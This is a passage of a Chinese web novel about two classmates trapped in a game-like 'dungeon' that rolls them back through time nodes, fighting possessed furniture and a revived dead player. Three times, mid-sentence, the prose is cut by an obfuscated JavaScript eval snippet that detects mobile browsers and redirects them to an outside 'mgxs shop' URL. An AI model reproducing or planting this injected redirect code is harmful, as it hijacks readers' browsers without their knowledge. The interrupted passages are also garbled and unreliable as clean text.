但眼前这个看上去失忆了的队友,就算系统给了她主动权,谁知道是不是副本为了让她放松警惕做出的障眼法? 如果「商予盈」趁她在等待选择结果时忽然暴起想要杀掉她,应凌心不动声色地压缩着自己的精神力,她会在那之前把对方击杀。 【请节点玩家作出选择。】 系统冰冷的电子音在四人脑海中响起。 32.并行回滚(二) 【请节点玩家作出选择。】 系统的提示声在「应凌心」耳边响起。声音有点大,她被吵得忍不住揉了揉耳朵。 对「应凌心」来说,这本来只是平凡的一天,她唯一需要担心的就是一周后的期末考试。 结果她许久不见的高中同学摇身一变,一边展示着异能一边告诉她这里是副本,有可能下一秒她们就全挂了。 还没等她担心自己会不会因为没有异能直接成为炮灰,系统就给她提供了新的选择。 【一、你是否希望另一玩家死亡?】 【二、你是否希望另一玩家在本副本中失去异能?】 【三、你是否希望另一玩家在本副本中异能减半?】 【请节点玩家回答。】 「应凌心」看着选项,偷偷瞄了一眼对面的商予盈。 系统显然是恶意的,想要挑起玩家的内斗。 首先,选项三绝对不能选。 无论选哪个选项,她都是在把自己放到商予盈的对立面上。 她不知道异能的威力究竟有多大,但即使只剩下一半,「应凌心」也充分相信对方能把她搞死。 如果选了选项二...同样会变成仇人,那就是两个人互搏了。 「应凌心」推测玩家经历多个副本后会有很强的战斗能力和意识。 至少她从来没杀过人,但她严重怀疑玩家会说要杀人就能杀人。 至于选项一... 先不说她敢不敢杀人,如果她选择杀死对方,系统真的执行的概率有多少? 在对方暴起把她杀死前执行选项的概率有多少?立刻把她从这个危机四伏的副本里传出去的概率又有多少? 「应凌心」垂了垂眼,虽然看着像是信任考验,但这更多的像是智商筛选吧? 在这种未知的情况下,该怎么选其实显而易见。 她放慢选择的速度,也是在试探商予盈,根据对方的反应判断失忆前的自己跟商予盈的关系。 这其实不是个明智的做法,在这种时候试探会让信任更加岌岌可危。 可她就是好奇诶。 好像关系不错啊。 「应凌心」挑挑眉,感觉有点欣慰。 她在三个选项上都选了否。 ...如果她是系统的话,应该虚假播报她的选择结果,试图让玩家不加思考地进攻。 【节点玩家应凌心已作出选择:选项一:否;选项二:否;选项三:否】 「应凌心」松了口气,她选择完才想到系统说谎的可能性,还好系统是个实诚统,否则她就要跟商予盈异能的速度拼嘴速了。 商予盈也松了口气,还好没出什么幺蛾子。 “谢谢你信任我。”幸好「应凌心」足够理智。 . 应凌心静静地等待着「商予盈」作出选择。 「商予盈」感到有些不安,莫名其妙地被卷入生死搏杀中,虽然遇见了曾经的同学,但她能感受到对方对自己隐隐的怀疑。 别说应凌心了,就算是她自己,也忍不住怀疑自己的真实性。 世界观在平平无奇的一天不讲道理地崩塌,人就会忍不住开始怀疑:那她呢?她是真的存在的吗? 正确的选择很明显,她只是在思考,之后应该怎么办。 【节点玩家商予盈已作出选择:选项一:否;选项二:否;选项三:否】 「商予盈」抬头去看对方的反应。 应凌心暗舒了口气,虽然以她对商予盈的了解,就算没有之后几年的记忆,她也相信对方会做出正确的选择。 但毕竟是在副本里,谁也说不准对面的人是不是真的商予盈。 电流被悄无声息地收回,应凌心看了看对面极力掩饰着不安的女孩。 “不用担心,”应凌心弯下腰,捡起对方掉落在地上的笔记本,深紫色的眼睛注视着对方, “我会保护你,把你平安送到外面。” . “所以我们现在做什么?要找线索吗?” 「应凌心」就算没进空间,也还是那么爱找线索。 商予盈看着试图撬开教室门锁的「应凌心」,宽慰她:“别担心,线索会自己找上你的。” 「应凌心」:...是线索还是麻烦你心里清楚! “门锁了是因为副本不想让你出去,我们的推测是副本没有能力搭建过大的场景。”商予盈解释道。 “所以这是你本科时的教室吗?” 「应凌心」点了点头,忽然意识到了什么:“我硕士去到我想去的学校了吗?” “没有。”商予盈冷酷地回答。 “不过不是你没被录取,是你觉得另一个导师更合适。” “哦哦,那还挺合理的。” 「应凌心」偷偷打量着自己的高中同学,知道得还挺详细的嘛。 “但你博士被那里录取了。” 只不过还没等到去读你就坠机身亡了。 商予盈看到「应凌心」眼睛噌地一下亮起来,默默地把后半句话咽了下去。 「应凌心」靠在讲台上,沉默着发了会呆。 “我一直想跟你说件事。”她冷不丁冒出来一句。 “你跟我说过了。”商予盈现在基本相信眼前的「应凌心」不是副本捏出来的了。 “是吗?什么时候?” “两年后。”商予盈金色的眼睛中带着隐隐的笑意。 . ------------------------------------------------------ “我一直想跟你说件事。” 应凌心有一搭没一搭地介绍着副本的套路,看着身边坐立难安的「商予盈」,想了想,岔开了话题。 “很久以前,虽然对你来说应该只是一两年前,就想说。但一直没机会。” “本来应该是两年后,在我们的同学聚会散场后说,但反正你只是暂时失忆,没什么差别。” 应凌心慢慢悠悠地说着,想着怎么去减轻对方的不安。 “我一直都觉得...”话说到一半,应凌心忽然顿住了。 她把「商予盈」拉到身后,精神力在一瞬间铺开。 “小心,有东西。” 阶梯教室后方,带着精神力波动的诡异黑雾,一点一点向教室前弥漫开来。 紧接着,黑雾距离在她们三四米的地方停下,汇聚成几道黑影,有规律地流动着,互相缠绕着彼此。 它们探着脑袋张望着,像是达成了共识,同时钻进了旁边的一把椅子里。 “咔嚓。” 椅背动了一下。 “咔嚓、咔嚓。” 后面的两个椅子腿被硬生生地往反方向掰,无形中的手拧起铁棍来毫不费力。 “咔嚓、咔嚓、咔嚓。” 前面两个椅子腿末端被掰到90度。 椅子以一种滑稽的姿势哆哆嗦嗦地站了起来。 应凌心早在黑雾出现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173459|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时就飞快地把「商予盈」安置在了墙角,用雷电把她周围裹得严严实实,以免她被异能攻击到。 只是不知道管不管用。 椅子看起来还在适应不太听话的四肢,歪歪斜斜地站不太稳,看着一击就会倒下。 应凌心却一点都不敢放松。 她死死地盯着被黑雾掰成人型的椅子,电流暴躁地环绕在它周围,掌心中的雷电蓄势待发。 很危险。她全身紧绷着。 应凌心认得椅子上的精神力波动。 那是商予盈的精神力。 副本夺走的「商予盈」的异能,被注入到了眼前这把椅子中。 还是说,椅子才是商予盈,副本想让她们自相残杀? 应凌心大脑飞速思考着可能性,敌我的模糊让她显得更加神经兮兮。 椅子说不了话,没办法老套地靠她们的秘密确定身份——而且记忆都能被定格了,副本当然可以直接去她们的记忆里找。 椅子人生疏地歪了歪椅背,抬起了它的椅子腿。 下一秒,商予盈的异能被发动,椅子一瞬间出现在了应凌心面前。 应凌心早有戒备,一道雷电从她面前劈出。 同一瞬,身侧的电流被操控着高速流动,强大的磁场把椅子吸得歪了方向。 不是商予盈。 应凌心在一瞬间确定了。 不是因为它攻击了她,而是椅子人施展异能的方式跟商予盈完全不同。 最重要的是,在椅子人靠瞬移贴脸的那一刻,应凌心感觉到了它身上的精神力波动。 在远处感受时感觉和商予盈的很像,但作为被攻击方体会时,精神力波动的感觉跟她记忆中的截然不同。 应凌心跟商予盈交流过无数次对异能的练习和感悟,也给对方展示了无数次自己的异能,都曾细细分析过各自的精神力。 商予盈精神力的波动像是缓慢起伏的海面,乍一看温吞平和,实际上由无数的细小波动构成,层层堆叠出和谐的表象。 而眼前椅子人的精神力波动只有前半段——非常实诚的缓慢波动。 应凌心觉得如果是商予盈的意识被塞进了椅子里,不会连异能的使用习惯跟精神力都改变。 这更像是副本复制了商予盈的异能,把山寨版异能按在了椅子人身上。 几道雷电在应凌心的手掌中暴戾地跳动着。 那这就好办了啊。 . ------------------------------------------------------ 这不是应凌心。 在交手的一瞬间,商予盈就确认了敌人的身份。 就在刚才,教室前面的投影仪忽然自己拔掉了插头,甩着电线张牙舞爪地扭动着。 令人迟疑的是它掌握着应凌心的异能,一道道雷电被凌乱地甩出。 商予盈用异能移开了雷电,却没有移开投影仪精神力的余波。 这不是应凌心的精神力。 她看着没有头脑地朝着各个方向乱放电的投影仪,感觉自己甚至不需要用精神力的不同来佐证。 看来应凌心的异能放在别的人或者东西头上,威力实在是有限。 是精神力强度的原因吗,商予盈瞄了被她丢在远处的「应凌心」一眼。 「应凌心」瞪着眼睛,目不转睛地盯着在四处甩动电线的投影仪。 商予盈动了动手指。 速战速决吧。 33.并行回滚(三) 「商予盈」从未觉得自己的生活可以变得如此魔幻。 她靠在教室角落里,被不断跳动着的雷电包裹着,艰难地透过一条条蓝紫色的光亮去看外面的战况。 被掰成人型的椅子不断原地消失后在另一个地方出现,想要攻击到应凌心。 空间性质的异能。 她的异能也是空间类的,「商予盈」回忆起应凌心对她异能的描述。 所以椅子怪物用的是她的异能吗?异能是被它偷走的? 「商予盈」忽然有点不安。 除了看着就不安好心的系统给过的选择权之外,她又该怎么跟应凌心证明她是她自己? . 了解商予盈异能的应凌心知道椅子人并不是凭空从原地消失后再出现。 商予盈的异能是通过改变空间线之间的间隔从而改变空间的大小,所以椅子人也是通过压缩它跟自己之间的空间线,得以在瞬间缩短两人的距离。 至于到底什么是“空间线”,应凌心觉得应该是代表空间单位长度的“线”。 欧几里得空间里的线,应凌心又一次躲开椅子人的贴脸攻击,思维发散了一瞬。 她之前跟商予盈鸡同鸭讲地讨论过很多次延伸空间线定义的可能性,却因为精神力不够而不了了之。 现在对比看来,商予盈掌握的看似直观的异能运用方法,也需要不少的精神力。 没什么精神力的椅子人,就只能拨动它面前的那一点空间线。 连应凌心劈向它身后的那道雷,它都没有办法移开。 是跟视觉连在一起的吗?应凌心打量了下全身上下没有任何眼睛的椅子人。 商予盈移动空间线时好像不需要用眼看到。 玄里玄乎的。 应凌心揣摩着精神力波动跟异能效果可能存在的联系,等着椅子人新一次的突然出现。 蓄势已久的雷电在下一刻击打在预判的位置上,不容置疑地击穿了椅子人上半身的木板。 上一秒还在奋力挥动着前腿的椅子人毫无招架之力地倒下,瘫倒在地上一动不动。 应凌心歪着头看了看,又投去几道雷,确保变异的椅子碎得不能再碎,死得不能再死。 必要的补刀流程。 她长舒了口气,到底是死物,哪怕被副本塞了商予盈的异能进去,也只会按照同样的模式去攻击。 应凌心确认了四周没有别的危险,撤下了「商予盈」周围的雷电。 “没事了,这个是副本的第一波情节杀,看样子已经解决了。” 她看着对方的眉眼,笑了笑,放缓了声音,“吓到了?” . 「应凌心」快要被吓死了。 她本来在想着怎么跟商予盈联络联络感情,顺便讨点情报,省得等下有什么突发危险直接无知无觉地被秒杀。 还没说两句,就被商予盈拉到了一边。 紧接着,讲台上的投影仪开始咔咔作响。 「应凌心」躲在商予盈身后,探着脑袋去看不远处的动静。 没有任何人或者东西在动投影仪,它就像是忽然觉醒了自我意识,自己拔掉了连在各个地方的电线。 ...她前两天刚帮着某个老师把投影仪调好,这下好了,这玩意直接疯了。 不会是因为她让它开始工作,被记恨着要复仇吧?「应凌心」看着杂乱无章地挥舞着电线的投影仪,无端联想着。 电线在讲台附近抽动着,像是魔性的八爪鱼——只不过只有三个爪子,所以是三爪鱼。 投影仪被固定在讲台上,扭动着关节甩着电线,有点像游乐场里的大摆锤,看起来甚至有些滑稽。 直到它开始放电。 「应凌心」觉得不太科学,这堆普通的小细电线,哪儿来的这么大承载量? 但都有异能了,投影仪都活了,电线能放出闪电好像也没那么难以置信了。 伴随着投影仪每一次的甩动,电线的末端释放出蓝紫色的雷电,噼里啪啦地打向四面八方。 「应凌心」躲在教室的角落,看着挡在她身前的商予盈不紧不慢地凭空转移开迎面打来的雷电。 每一次雷电击破空气发出的响声,都让「应凌心」本能地吓一跳。 她缩着身子,生怕有哪道雷被商予盈漏掉,劈在她身上把她劈成焦炭。 投影仪甩出的雷电噼啪作响,此起彼伏地钻入「应凌心」耳中。 商予盈站在她面前,一点都没有躲闪过。 她甚至没怎么动,只是抬起右手,时不时动下手指,就把气势汹汹的雷电移走了。 这就是异能啊。 「应凌心」看着满屋的闪光和商予盈的背影,还挺酷的。 商予盈像是终于试探够了,一手插进裤子的口袋,另一只手翻转着,把几道雷电移向了投影仪。 看起来凶猛的雷电在劈向投影仪的一瞬间却像是熄了火,温顺地流回了它的身体里。 看来投影仪也继承了免疫雷电的能力,商予盈分析着。 虽然施展的效果看起来比应凌心的异能弱得多,但估计投影仪获得的是同一个异能,而不是单纯复制了几道雷电。 「应凌心」也看出来投影仪对雷电的免疫,不禁感觉有点紧张。 这种空间异能有攻击性吗?该怎么去击败投影仪? 只见商予盈在裤子口袋里摸了摸,掏出了... 一把手枪? 「应凌心」傻傻地眨了眨眼。 我劁!枪! 她头一回见到真枪! 她就知道!都是出生入死的玩家了,下副本怎么可能不准备点真家伙? 商予盈给自己花300积分买的手枪上了膛,握着枪瞄准了来回扭动的投影仪。 觉醒了异能后,商予盈对物品方位的感知精确了很多,对自己手臂角度的控制也是。 很适合用来射击。 她的异能还可以缓冲开枪带来的后坐力,使得她可以随时比较轻松地单手开枪。 很适合用来在很久不见的高中同学面前装一波。 “砰!” 随着一声枪响,连接投影仪的支架□□脆地打断。 刚才还在疯狂转动的投影仪断裂在讲台上,甩动的电线疲软地瘫在一旁。 “砰!” 又一枪,投影仪头部炸开,零件碎得到处都是。 商予盈一手拿着枪,一手微微弯曲着手指,缓慢地向讲台处走去。 「应凌心」看到她伸出一只手,覆盖在碎了一大半的投影仪上。 下一瞬间,残留的零件被无形的力撕裂开,投影仪被拆得面目全非。 商予盈对于和她相近的空间的操控力会更强一点,如果能触碰到,那就能感知地更精细了。 她一点一点地拆解着投影仪,直到它碎成一粒粒零件,也没能探查出里面异能的痕迹。 「应凌心」见教室里半天没什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178345|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新动静,大着胆子凑上前来。 希望这个副本不要一直延续到明天。 在确认了没有危险后,「应凌心」探着头去观察散落在讲台上的碎片。 她可不想赔学校投影仪啊! “没想到一枪就解决了,我还以为这种副本的怪物会免疫子弹呢。”小说里都是那么写的。 “啊,这个不一定,”商予盈想了想应该怎么跟「应凌心」解释,“有些副本里的怪物或者NPC确实没办法拿枪直接打败。” “但主要原因是它们的防御值高,枪的伤害力度在它们面前算不上什么。” “就像有人拿弹弓去打你,你可能皮都不会擦破,但这不是因为你对弹弓免疫,只是弹弓带来的伤害对你来说不够大。” 「应凌心」点点头,认可了这种解释:“那这时候应该怎么办?” “想办法找出它们的弱点吧,虽然不一定每只怪物都有可以让你突破的弱点。” 商予盈把玩着投影仪摄像头上的镜片,“所以不断提升异能是必要的。” “这也是为什么我们一直在下副本。” 不单是为了获得生存的积分,也是为了获得在危险中保全自己的能力——通过不断把自己置于危险之中。 “副本一般有多危险?”「应凌心」想对自己的处境做出点评估。 “很危险。”商予盈觉得应凌心会更适合回答这种问题,尤其这是几年前的她自己提出来的问题。 “不断会有人死去,包括你觉得理应活下去的人。你不知道副本会设置什么样的规则跟陷阱,也许下一刻你就被迫要冲着之前的队友举起刀。” “为了活下去,你需要不断地拿别的东西去衡量你的生命。” “陌生人的生命、队友的生命、朋友的生命、你的道德守则和人生信条... 你需要不断地问自己,你的生命究竟有多贵重?贵重到可以舍弃多少其它的东西?” “也许到最后你什么都舍弃了,也活不下来。” “也许在你犹豫的时候,别人已经替你做好了决定。” “你也不知道会变成什么样,只能接着走下去,一直走下去。” 商予盈平静的声音伴随着系统的电子音在教室中响起,“...就比如说现在。” 【恭喜两位玩家完成节点一,进程回滚中...】 “依旧需要接着走下去。” 【回滚完成。】 商予盈眼前白光一闪,再一次睁开眼,发现对面的「应凌心」已经不在了。 “应凌心,你来回答一下这道题。” 坐在自己前面的女孩被同桌悄悄杵了一下,慢悠悠地站起来,盯着黑板看了几秒。 “选C。”女孩两手插着兜,懒洋洋地回答道。 “坐下,上课精神一点。” 老师一转身,接着讲起了题。 商予盈却没有再听进去一点。 她回到了高中的课堂上,坐在前桌的应凌心好像依旧没有后续的记忆。 最可怕的是,商予盈低头握了握自己的手,感觉自己的心跳开始不断加速。 她的异能不见了。 这不是普通的高中课堂,她却变成了普通人。 商予盈伸手摸了摸自己的裤子,枪还在。 她做了个深呼吸,静静地听着系统的播报声。 【当前节点:节点二】 【祝两位玩家好运 :)】 34.并行回滚(四) 还没等应凌心跟「商予盈」再多聊两句,就被系统的播报声打断。 【恭喜两位玩家完成节点一,进程回滚中...】 她愣了愣,下意识想要把「商予盈」拉到身后。 刚碰到对方的手腕,眼前白光一闪,指尖的触感消失,若有若无的嗡鸣声袭来。 【回滚完成。】 紧接着是一道熟悉的声音。 “应凌心,你来回答一下这道题。” 应凌心愣了愣,被同桌杵了一下才反应过来,从座位上站了起来,一边把宽大的校服袖子往上挽,一边看着黑板上的题目。 她眯着眼,扶了扶镜框。 “...选C。”还好是数学课,要是换节文科课她只能乱猜一通了。 “坐下,上课精神一点。” 这是她高中时的教室。 应凌心坐在座位上,老师讲课的声音被她自动过滤掉。她低着头去看自己的掌心,心脏跳得飞快。 这是她高中时的身体。 这时候手掌还没磨出茧子,只有右手中指侧面,因为长期握笔长着一个厚厚的茧。 没什么重量的眼镜架在她的鼻梁上,她戴了十几年的眼镜,此时却觉得有些不适应。 应凌心微微握了握自己的手。 没有异能。 她不安地转了转肩膀。 她的异能不见了。 【以下副本通知将会在每个回滚节点进行播报:】 【在任意节点、任意玩家杀死另一位玩家即可脱离副本。】 伴随着下课铃声的响起,系统又一次进行了播报,提醒着她副本还在继续。 她回过头,跟后桌对上了眼神。 女孩深色的眼睛注视着她:“你也听到了?” 【5分钟后,节点玩家将重新获得异能。】 “...听到了。”应凌心张了张嘴,机械地回答道。 【当前节点:节点二】 【祝两位玩家好运 :)】 该怎么在5分钟之内把情况说清楚,顺便说服对方别为了通关直接刀了自己? 应凌心深吸了一口气:“你听好我接下来要说的话。” . 「应凌心」现在感觉非常懵。 她刚回答完问题坐下,就听到没什么语调起伏的电子音冷不丁地响起,说着什么副本跟玩家之类的东西。 ?地球终于要被入侵了?外星人赶在她高考前来了? 「应凌心」偷偷瞄了下周围,同学跟老师都没什么反应,该上课的上课,该走神的走神。 她成副本内觉醒的NPC了? 【5分钟后,节点玩家将重新获得异能。】 节点玩家又是啥?怎么还有异能? 老师刚一宣布下课,同学们就各自聊起了天。 「应凌心」在吵嚷声中心不在焉地听着同桌叽叽喳喳地讲着话,一边盘算着听到的播报声。 【当前节点:节点二】 【祝两位玩家好运 :)】 所以有两个“玩家”,其中一个是会在5分钟后得到异能的“节点玩家”? 这个有异能的玩家听着格外危险啊。 那她又是什么,炮灰NPC?守关的小怪? 有人拍了拍她,吓得「应凌心」从位子上直接窜起来。 是她的后桌。 「应凌心」看着商予盈有点复杂的眼神,愣了愣,反应了过来,略带试探性地问:“你也听到了?” 商予盈一边用发绳把自己的头发扎紧,一边微微点了点头。 “这是副本,中途会有很多危险,我们两个是玩家。现实中的我们已经大学毕业了,但又都意外死掉了,所以不得不下副本。” “你是节点玩家,所以记忆停留在了高中。根据系统说的,你等下会恢复异能。” 商予盈顿了顿,语速飞快地接着说,“我在这个节点没有异能,但根据上一个节点的经验,等下还会有其它的怪物来攻击玩家。” 她眨了眨褐色的双眼:“你需要我去给你解释副本跟异能的机制。” “而我需要你用异能来保护我。” 「应凌心」:...危险竟是我自己。 「应凌心」艰难地消化着庞大的信息量,一时半会有些不知所措,她应该说些什么? 甚至于,她应该想些什么? 如果换个人,比如她的同桌,或者另外哪个朋友,她大概会飞扑上去让对方速速交代,然后扮酷地来一句“别怕,姐一定保护你”。 但换作商予盈...「应凌心」一时感觉有点尴尬,她挠了挠头,不想让自己的语气听着太理所当然:“那你可以跟我说下后面会发生什么吗?” 本来就不咋快乐的高中忽然成了副本,算不上熟的高中同学忽然成了疑似队友的存在,她忽然要被安上某个未知的异能。 她真的很懵啊! 商予盈看了眼时间,还剩两分钟。 她默默把手揣回裤子的口袋里:“最重要的是,你要在短时间内掌握你的异能,面对可能会出现的危险。” . 「商予盈」头一次听到应凌心跟自己说这么一大串话。 她梳理了一下自己的处境,表示理解了——反正再过一小会她就能验证自己是不是真的会有异能了,由不得她信不信。 她问出了自己最关心的事:“所以我等下拿到异能后就会恢复记忆吗?” “我不确定,大概率不行。” 应凌心觉得副本大概率不会那么友好,“我怀疑节点玩家的定义就是记忆被定格在现在这个时间点的玩家。” 也就是说,她要跟一个高中生做队友了。 “那我拿到异能后,会自动懂得怎么去掌握异能吗?”高中生接着问。 “这也是我想知道的。” 实际上,应凌心不知道的不只是能不能掌握异能这么简单。 说是恢复异能,如果精神力没有跟着一起被恢复,那效果就跟没有一样。 那要是恢复精神力的话,是恢复到她们刚觉醒时的程度,还是她们进入这个副本前的程度? 应凌心总觉得精神力的增长大有门道,不是单纯的数值那么简单。 这样的精神力,是依附于她们自身、她们的记忆跟理解,还是她们的异能? 不好说。 同样不好说的还有那些她们后来才发掘出来的异能使用方法,是会被当作“二技能”一并灌进来,还是需要重新去发现? 副本能够剥夺跟改变的范围是多少? 应凌心跟「商予盈」面对着面,一边补充说明着,一边等着倒计时结束。 . 「应凌心」努力听着商予盈争分夺秒的讲解,试图在一句接一句的描述中对之后的副本跟她自己会得到的异能有个大致的了解。 后脑突兀地传来疼痛,她愣了一下。 一个从未察觉的开关被打开,随之而来的是一阵陌生却服帖的力量,熟门熟路地游走在她的脑海里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184119|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“咦?” 「应凌心」眨了眨眼,略带一些意外地打断了商予盈。 眼前一阵模糊后,眼眶和大脑开始因为高压微微发痛。 她愣了愣,摘下了眼镜。 世界变得清晰了——她的眼睛不再近视了。 商予盈看着女孩深紫色的眼睛,明白对方的异能是回来了。 “你知道怎么用自己的异能吗?”不知道就麻烦了,她不知道该怎么去解释。 「应凌心」试探性地伸出右手,指尖冒出一小缕紫色的雷电,看着没什么规律地跳动着。 她揉了揉眼睛,注意到被塞进脑子里的一些额外的记忆,下意识问出了声: “...我姐呢?” 应凌律这两年怎么人间蒸发了? 商予盈没想到「应凌心」恢复异能后问出的第一个问题是这个。 确实,她差点忘了,异能觉醒后会恢复被屏蔽的记忆。 但她没有因为失去异能而重新被屏蔽记忆,为什么? “我不知道。” 应凌心后来跟她提到过怀疑自己姐姐也进到过空间里,只是没提后续,她也就默契地没再追问了。 不过这就没必要跟「应凌心」讲了,现在也不是追究不知道失踪了多少年的人的下落的时候。 “还有呢?”商予盈看了眼下课后迅速变空的教室。 “有什么?”「应凌心」没听懂。 “除了放雷电,还有没有别的使用方法?”她提醒道,“趁现在你多熟悉下你的异能,但别乱用——精神力是有限的。” 「应凌心」迟疑了一下,站在原地一动不动。 商予盈没有催,她能感受到「应凌心」四周微弱的精神力波动。 她没有异能,却能感受到精神力的变化;她失去的是异能本身,还是精神力? 「应凌心」闭着双眼,两手插着兜,精神力缓缓地蔓延着,铺向整个教室。 伴随着教室后方几不可闻的一声脆响,角落的摄像头电路被烧坏,一闪一闪的红点沉寂下来。 电流被她操控着流淌在教室里,替她感知着空间。 「应凌心」睁开眼,感觉自己对异能的掌握程度有所提升,也没耗费什么精神力。 商予盈抱着胳膊等她逐渐学会操控电流,告诉她可以利用电流操控教室里的课桌跟其它金属。 女孩恍然大悟,眼睛亮晶晶地夸商予盈聪明,让人不好意思告诉她这个主意本来就是她想出来的。 「应凌心」的悟性很高,或者因为本来这就是属于她的能力,尝试几下,也就渐渐掌握技巧了。 只是实战时的反应能力和战斗意识就不好说了。 如果遇到上一个节点的投影仪,应该不会费太大力气就能打败。 商予盈正想着,忽然感知到门外有一股强烈的陌生精神力波动,故意昭示着自己的存在感。 她连忙提醒「应凌心」,两人戒备地看着门缓缓被打开。 一个跟她差不多大的女人。 女人板着一张脸,沉默地挽了挽运动服的袖子。 被扎起来的马尾辫末端微微发卷,乌黑的头发中掺杂着几抹红色。 一双眼睛没什么神采,红色的漩涡在黑沉的瞳仁中若隐若现。 商予盈暗道一声不好。 她跟应凌心都交流过各自在副本里的经历,自然也认出了眼前的人。 季祝火。 那个死在应凌心上一个副本的玩家,此刻出现在了她们面前。 35.并行回滚(五) 应凌心带着「商予盈」练习了一阵新恢复的异能,看着对方很快掌握了基本的运用,甚至有了一些自己的见解,总算松了一口气。 这下冒出个椅子人出来也有还手之力了。 应凌心在心里掂量了一下「商予盈」目前的水平,虽然比不上进入这个副本前商予盈的程度,但看她的操控也有模有样了。 只是掌握程度有八成,可不代表真的打起来能有商予盈的八成战斗力。 应凌心觉得她跟商予盈下的第一个情节副本的设定让她们收获了很多额外的东西。 比如战斗时的反应能力,对于敌人弱点和动向的判断,甚至于濒死时强撑着施展异能以达到目的的魄力,可都不是靠想一想就能获得的。 更不是应该指望一个高中生去具备的。 当然,也不应该要求刚出校园没几年的年轻人具备,但现实就是这么残酷。 商予盈有了这些能力,才得以在上一个副本中在关键时刻反杀另一个玩家。 否则她一觉醒来只怕是要给商予盈收尸了。 这个副本也是D级副本,凶险程度应该不亚于她们的上一个副本。 应凌心半坐在自己高中时的桌子上,一边思考着下一个情节点可能的强度,一边跟「商予盈」讨论异能的运用。 说着说着,她顿住了。 应凌心站直了身,叫「商予盈」小心。 一阵强烈的精神力从外面袭来,生怕她们注意不到。 她本能地要把人挡在身后,却被「商予盈」一拉,把她跟散发着阵阵危险精神力波动的教室前门隔离开。 应凌心:...哦对,她现在又变成没有异能的脆皮玩家了。 谁能想到头来还要被高中生保护?应凌心瞄了眼「商予盈」的背影,虽然是认识的高中生。 教室的前门在两人紧张兮兮的注视下被推开。 留着一头齐耳短发的女人慢悠悠地走了进来。 女人穿着一条八分牛仔裤和一双帆布鞋,干净的白T恤上印着商家乱打的英文字母组合。 一对深粉色瞳仁的桃花眼,左眼角有颗泪痣,和她发暗的瞳孔相呼应着。 女人面无表情地站在教室门口,看不出任何情绪。 应凌心想起商予盈对女人的描述: “她笑起来时眼睛很好看。” 只可惜,这样一个眼睛笑起来很好看的人,在死后还被利用着做成了副本的关卡。 商予盈提到过,她在上一个副本里碰到了一个很投缘的玩家,在一起完成任务的过程中互相帮助,也在交流中收获了很多。 只是她没想到这份缘分会演变成孽缘。 在副本后半程,因为其余玩家的愚蠢操作,她们被卷入只能存活一人的局面,到时间分不出胜负来两个人都要死。 商予盈跟周授虚两人找了半天突破限制的可能性,或者是改变规则的办法,却一无所获。 倒计时一点一点减少,女人深粉色的眼睛内再没有任何笑意。 她没有直接进攻,而是认真地向商予盈宣战:“没时间了。我想要活下去。” 商予盈向后退了一步,拉开了距离,点了点头:“我也想活下去。” 两人毫无保留地厮杀在一起,而商予盈在最后关头杀死了对方。 “其实我并不觉得我有杀死她的实力。”商予盈事后回忆道。 “如果不是因为我的吊坠是系统演化的,她抓不住;凭她的异能,在那一瞬间就能杀死我了。” “她知道她不应该伸手碰我的,我的异能在接触下会更快地做出反应,她占不到任何优势。” “但她还是掐住了我的脖子。” 商予盈出副本后也花了很久才平复自己的心情, “我们当时都看到了,距离倒计时结束还剩7秒钟。” “我还是想活下去。”商予盈对应凌心说,金色的双眼在黑暗中闪烁着微弱的光。 她低头看着被自己捏扁的饮料罐:“那个副本里其余的每一个玩家,名字跟长相我都记住了。” 应凌心当时沉默地点点头,给她递过去了新的一罐可乐。 . 上一个副本里,两人对决的时候是有必须被权衡的倒计时,以及一条信息差,商予盈才勉强打过周授虚。 现在呢? 甚至「商予盈」都不一定能达成原来的八成实力。 眼前的[周授虚]又有几成实力? 曾经的战斗思路跟对异能的理解又复制过来了几分? 应凌心一边飞速向「商予盈」讲述周授虚的异能,一边在心里咒骂系统。 这都要利用一下,还好「商予盈」没有之后的记忆。 这要是换作真正的商予盈来,真不知道她得有多难受啊。 . 还好应凌心不在这里。 或者说,还好应凌心没有被保留记忆。 商予盈罗列着自己知道的关于季祝火的信息,瞄了一眼在努力记忆的「应凌心」。 曾经的队友成了不死不休的敌人,这感觉很不好受。 死去的队友被系统重复利用,被操控着成了现在的敌人,也同样不好受。 如果是拥有记忆的应凌心,当然也会为了生存果断地反击,只不过过程会痛苦很多。 换成无知无觉的高中生也许是件好事。 只是,季祝火很强。 商予盈看了看站在对面等着她们反应的[季祝火],又看了看惴惴不安的「应凌心」。 ...这要怎么打? “据我所知,季祝火异能的进攻分为三步:用某种方法固定住目标,小火星飘到目标上落下,然后由她用响指去引爆。” 